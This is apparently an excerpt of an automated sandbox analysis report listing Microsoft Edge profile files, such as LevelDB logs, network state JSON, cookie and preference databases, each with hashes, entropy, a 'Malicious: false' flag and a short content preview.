C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.20260206912759
Encrypted:	false
SSDEEP:	12:gKv4Yeb8rcHEZrELFUt877o/+77w5LYeb8rcHEZrEZSJ:54Yeb8nZrExg80LYeb8nZrEZe
MD5:	105B08EB1EF88575312C000397C2D88B
SHA1:	09E9000BDDA4D43B7355FC900CF711E4FC01EB4B
SHA-256:	6091640867612F36555DC9457E9B05F3BB8E3DB69A8B81FA4C0E8A4A0808C2E1
SHA-512:	27B7E852398594AF991B2EE64FF1049E448B27B45A2FA20C08209E919AF4F578BE8DC35EC9FB52F42781D5A04E2F7E02A10C6E6CC2562355BAC989EC189E1BD3
Malicious:	false
Preview:	2024/11/25-10:21:29.990 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-10:21:29.991 1da0 Recovering log #3.2024/11/25-10:21:29.991 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.20260206912759
Encrypted:	false
SSDEEP:	12:gKv4Yeb8rcHEZrELFUt877o/+77w5LYeb8rcHEZrEZSJ:54Yeb8nZrExg80LYeb8nZrEZe
MD5:	105B08EB1EF88575312C000397C2D88B
SHA1:	09E9000BDDA4D43B7355FC900CF711E4FC01EB4B
SHA-256:	6091640867612F36555DC9457E9B05F3BB8E3DB69A8B81FA4C0E8A4A0808C2E1
SHA-512:	27B7E852398594AF991B2EE64FF1049E448B27B45A2FA20C08209E919AF4F578BE8DC35EC9FB52F42781D5A04E2F7E02A10C6E6CC2562355BAC989EC189E1BD3
Malicious:	false
Preview:	2024/11/25-10:21:29.990 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-10:21:29.991 1da0 Recovering log #3.2024/11/25-10:21:29.991 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.6547509328663255
Encrypted:	false
SSDEEP:	24:Z2ZWibYlk+NxMvXACsXZu2W2sFV03y1x4/hxMyjv+KWPUlHdkTN5zgFHHmi28/V:Z2ZZbekyyvQCsXZuF2iV03Sx4/hqyjGQ
MD5:	6ED5A05DD0FB39E84A7A74C28D1368B8
SHA1:	6BC0388F597725E8B1FDBC99C1DAFD69C763C7CF
SHA-256:	F98CBAE35863015E635C06833FB891E901F240D8D139640EC617E68D27275D35
SHA-512:	D7760259E9D28155D997B5DA6EBEC79104E743393ED76D3058A3E6BF37461AF5DD1C0B883131AF0EE8C46188E1BB406103B97854A97073F03CA775DCCF9EE542
Malicious:	false
Preview:	:.18.................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732548100907.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732548102149.._https://ntp.msn.com..MUID!.0C72B46B3C106818117CA1293D846999.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732548101013,"schedule":[35,-1,-1,-1,-1,21,25],"scheduleFixed":[35,-1,-1,-1,-1,21,25],"simpleSchedule":[12,11,42,44,40,36,45]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732548100871.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 25 2024 10:21:40 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.141108350647178
Encrypted:	false
SSDEEP:	6:HApCQrpM+q2P923oH+Tcwt8a2jMGIFUt8YApCQResZZmw+YApCQT/MMVkwO923oL:gwQ9M+v4Yeb8EFUt87wQReA/+7wQoMVm
MD5:	2F2993E799BC37895959853EFD3D0D56
SHA1:	B78ED42F555ADA554DF1C3E88AC5B628EE09729A
SHA-256:	D70C8CD34D2AA3D6845DEC1FE97AACAC15F1CA9C6ECE9D5A1D8F3035F6F8A445
SHA-512:	A6B4DBE618BF19FEA3966065D9D0F9B8D49A9FCE7162EEF00AAD23096BA6153BD5F1A73A93AEB49027CA198D665AD9D0D43D2B0F3BA224F7C0BEED0BEF1B712E
Malicious:	false
Preview:	2024/11/25-10:21:26.053 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-10:21:26.054 148c Recovering log #3.2024/11/25-10:21:26.056 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.141108350647178
Encrypted:	false
SSDEEP:	6:HApCQrpM+q2P923oH+Tcwt8a2jMGIFUt8YApCQResZZmw+YApCQT/MMVkwO923oL:gwQ9M+v4Yeb8EFUt87wQReA/+7wQoMVm
MD5:	2F2993E799BC37895959853EFD3D0D56
SHA1:	B78ED42F555ADA554DF1C3E88AC5B628EE09729A
SHA-256:	D70C8CD34D2AA3D6845DEC1FE97AACAC15F1CA9C6ECE9D5A1D8F3035F6F8A445
SHA-512:	A6B4DBE618BF19FEA3966065D9D0F9B8D49A9FCE7162EEF00AAD23096BA6153BD5F1A73A93AEB49027CA198D665AD9D0D43D2B0F3BA224F7C0BEED0BEF1B712E
Malicious:	false
Preview:	2024/11/25-10:21:26.053 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-10:21:26.054 148c Recovering log #3.2024/11/25-10:21:26.056 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1198deea-32be-4e71-9664-cd80902f39e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\259eb0a6-04be-4a87-a71d-712c09d73b27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6bb776d3-40cb-4fea-937d-e80a1299cbe5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1878
Entropy (8bit):	5.317986446308826
Encrypted:	false
SSDEEP:	48:YcgCzsrtsJfcKsFICIsFAleeBkBRsFy2CgHpbx9+:FMq6IsAkeBkB2ZTpV9+
MD5:	0C7B27EA74A538096D72A87984E7F169
SHA1:	A80A8736943BAD1731C52E3008D61B3E084ED753
SHA-256:	A06CB7592101286500EC6B02B600D8C46E733E69390784FD8C393DA020FFB81B
SHA-512:	EE9FBEC4E4DFB801AEE34695FE4955F7EAB4ED505BB2D190EB03353F131733C57A2CF7FF4468FBE0446EA4382FD2CCDFE27EEDCEB81A8CD6E7F43624989AF5CD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379613689860258","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379613694557545","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377108097299091","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets2.msn.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377115297391184",

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\836b6006-84a1-4bd4-9799-b183fddca82e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8d75cbfd-6ecc-435b-9c77-d42eb3ccae49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.76533530727438
Encrypted:	false
SSDEEP:	192:tTUSI7RiFMokhxPY1hD/Kf8G0EXcf0L/ZJVb:VUSqRiFMoGxPY1hNEXI0LhJVb
MD5:	535114EEAD362F16377CEA1C928448F2
SHA1:	07170E968D05B70869AF5FB836CA624F2F74C8AF
SHA-256:	7AADC7D9A942E05F50B0E3AA03CF03759EBC14EEEF0C77F2979707D3E566E9A4
SHA-512:	100182F4AAE09A84110475E698CE7A195198B681AD795C510237B83B0A379D547E75489224BCCFA692B947C7E623084BFBFA60ED40EE88E08CF00A574DCBFB26
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49cf8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.279563512862474
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBrWQ:uIEumQv8m1ccnvS68kh
MD5:	7840A31B3C2A8D67D7FBB5F810350E8B
SHA1:	12661650953F8167D8D320D09D55D89DB077CDB8
SHA-256:	2DD948853D67E4A6E9F3B214AAE980DE3C8C3B949449DC76CD2948A64BC79244
SHA-512:	AB48B8DE1FDDBC2BA0918071FE11ED5F105752BB40626A92643CD59ACDEA6B338C5C86561B1C135A578E6531F95CCA9AAAC09E49E88E0C0034985A055963FA30
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38d0e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a569.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9818
Entropy (8bit):	5.11463099959972
Encrypted:	false
SSDEEP:	192:stvkdpk+saudEsZihUkIt38WbV+FW8QA66WGaFIMY8PLYJ:stvQvsaudEfhqbGrQx6WGaTYp
MD5:	C70439827D55B1A74BD2A4A03D92F4FA
SHA1:	A4738AC7491507A6E1CE83192EBE7AB4EEFA0E34
SHA-256:	C38F00DDBAAE2B92586E53766B53C23D830218F618C1D0819716C354FB89254C
SHA-512:	D1BB5F027DBB007BF3167F841FFE098B5EBAFC45DC60673B7E4F5149C8F2834817A490E02B1D04E5FD09589828B4BBB3624D9A7EBBDE3A1066CDDF699DA443DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d478.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9818
Entropy (8bit):	5.11463099959972
Encrypted:	false
SSDEEP:	192:stvkdpk+saudEsZihUkIt38WbV+FW8QA66WGaFIMY8PLYJ:stvQvsaudEfhqbGrQx6WGaTYp
MD5:	C70439827D55B1A74BD2A4A03D92F4FA
SHA1:	A4738AC7491507A6E1CE83192EBE7AB4EEFA0E34
SHA-256:	C38F00DDBAAE2B92586E53766B53C23D830218F618C1D0819716C354FB89254C
SHA-512:	D1BB5F027DBB007BF3167F841FFE098B5EBAFC45DC60673B7E4F5149C8F2834817A490E02B1D04E5FD09589828B4BBB3624D9A7EBBDE3A1066CDDF699DA443DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4175d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9818
Entropy (8bit):	5.11463099959972
Encrypted:	false
SSDEEP:	192:stvkdpk+saudEsZihUkIt38WbV+FW8QA66WGaFIMY8PLYJ:stvQvsaudEfhqbGrQx6WGaTYp
MD5:	C70439827D55B1A74BD2A4A03D92F4FA
SHA1:	A4738AC7491507A6E1CE83192EBE7AB4EEFA0E34
SHA-256:	C38F00DDBAAE2B92586E53766B53C23D830218F618C1D0819716C354FB89254C
SHA-512:	D1BB5F027DBB007BF3167F841FFE098B5EBAFC45DC60673B7E4F5149C8F2834817A490E02B1D04E5FD09589828B4BBB3624D9A7EBBDE3A1066CDDF699DA443DF
Malicious:	false
